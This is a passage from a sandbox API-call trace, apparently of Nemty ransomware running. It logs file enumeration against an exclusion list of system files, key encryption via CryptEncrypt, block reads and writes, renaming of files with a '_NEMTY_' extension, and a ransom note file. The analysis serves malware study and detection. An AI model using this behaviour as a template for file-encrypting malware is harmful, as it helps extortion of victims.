lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.219] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.225] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.225] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6343fe8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0114.225] CloseHandle (hObject=0xffffffff) returned 0 [0114.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404c8 [0114.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0114.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0114.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0114.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0114.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0114.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344158 [0114.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344200 [0114.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0114.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0114.225] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\timeZones.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\timezones.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\timeZones.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\timezones.js._nemty_kgobjgd_")) returned 0 [0114.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344200 | out: hHeap=0x4f90000) returned 1 [0114.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0114.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0114.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0114.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0114.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0114.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340378 | out: hHeap=0x4f90000) returned 1 [0114.226] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf77ed610, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf77ed610, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf7813770, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0114.226] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0114.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0114.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0114.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0114.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0114.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0114.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0114.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0114.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0114.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0114.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0114.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0114.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0114.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0114.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0114.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0114.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0114.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0114.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404c8 [0114.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340420 | out: hHeap=0x4f90000) returned 1 [0114.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0114.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.227] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf77ed610, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf77ed610, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf7813770, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0114.227] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0114.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0114.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f0 | out: hHeap=0x4f90000) returned 1 [0114.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340268 | out: hHeap=0x4f90000) returned 1 [0114.227] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings.html", cAlternateFileName="")) returned 1 [0114.227] lstrcmpiW (lpString1="settings.html", lpString2=".") returned 1 [0114.227] lstrcmpiW (lpString1="settings.html", lpString2="..") returned 1 [0114.227] lstrcmpiW (lpString1="settings.html", lpString2="...") returned 1 [0114.227] lstrcmpiW (lpString1="settings.html", lpString2="windows") returned -1 [0114.227] lstrcmpiW (lpString1="settings.html", lpString2="$RECYCLE.BIN") returned 1 [0114.227] lstrcmpiW (lpString1="settings.html", lpString2="rsa") returned 1 [0114.227] lstrcmpiW (lpString1="settings.html", lpString2="NTDETECT.COM") returned 1 [0114.227] lstrcmpiW (lpString1="settings.html", lpString2="ntldr") returned 1 [0114.227] lstrcmpiW (lpString1="settings.html", lpString2="MSDOS.SYS") returned 1 [0114.227] lstrcmpiW (lpString1="settings.html", lpString2="IO.SYS") returned 1 [0114.227] lstrcmpiW (lpString1="settings.html", lpString2="boot.ini") returned 1 [0114.228] lstrcmpiW (lpString1="settings.html", lpString2="boot.ini") returned 1 [0114.228] lstrcmpiW (lpString1="settings.html", lpString2="AUTOEXEC.BAT") returned 1 [0114.228] lstrcmpiW (lpString1="settings.html", lpString2="ntuser.dat") returned 1 [0114.228] lstrcmpiW (lpString1="settings.html", lpString2="desktop.ini") returned 1 [0114.228] lstrcmpiW (lpString1="settings.html", lpString2="CONFIG.SYS") returned 1 [0114.228] lstrcmpiW (lpString1="settings.html", lpString2="RECYCLER") returned 1 [0114.228] lstrcmpiW (lpString1="settings.html", lpString2="BOOTSECT.BAK") returned 1 [0114.228] lstrcmpiW (lpString1="settings.html", lpString2="bootmgr") returned 1 [0114.228] lstrcmpiW (lpString1="settings.html", lpString2="programdata") returned 1 [0114.228] lstrcmpiW (lpString1="settings.html", lpString2="appdata") returned 1 [0114.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0114.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0114.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0114.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0114.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0114.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0114.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0114.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0114.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0114.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0114.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340268 [0114.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0114.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340310 [0114.228] Sleep (dwMilliseconds=0x5) [0114.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf7bcb9d0, dwHighDateTime=0x1d561e7)) [0114.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf7bcb9d0, dwHighDateTime=0x1d561e7)) [0114.237] GetLastError () returned 0x12 [0114.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0114.237] GetLastError () returned 0x12 [0114.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0114.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0114.237] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0114.237] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0114.237] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0114.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63403b8 [0114.237] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63403b8, pcchString=0x653e91c | out: pszString="aF6GONdCqhzt7BWdbtAGApMIXWAtpQdm1PnzKmFL5jSrnioGQ8GFadTT4XDMolHW\r\ncqKceXKiRZw7R980Y3EC48YlsaD4Lz8A+/GpkBch2nLgNw0lQQYulGgb9bwm6uxo\r\n/ZMGZ6pYFp6xtFnUppO73vJBzbMkagJRIPqzw8gsssC4NnSfU82xebLOXafhYsb4\r\ntvSlJ3Iwbxo3W3OSq5vjHUwk8Ns+NKP2q2Y8s7AyW7ouY+5/DvrKWMeG1+/HjkID\r\nj0pcxF0rTQKptMqMe8X7uHSHkOkkYXkZ2ddRTmEx1ZOO6I6zfd+7YhmtgIX69FUQ\r\n5drQtP8dnXv8uTcjCF6vVA==\r\n", pcchString=0x653e91c) returned 1 [0114.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0114.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b8 | out: hHeap=0x4f90000) returned 1 [0114.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0114.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0114.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63403b8 [0114.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0114.237] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\settings.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0114.237] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0114.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0114.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.238] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.247] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.247] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.256] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.257] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.266] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.275] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.275] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.285] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.285] SetFilePointer (in: hFile=0xffffffff, 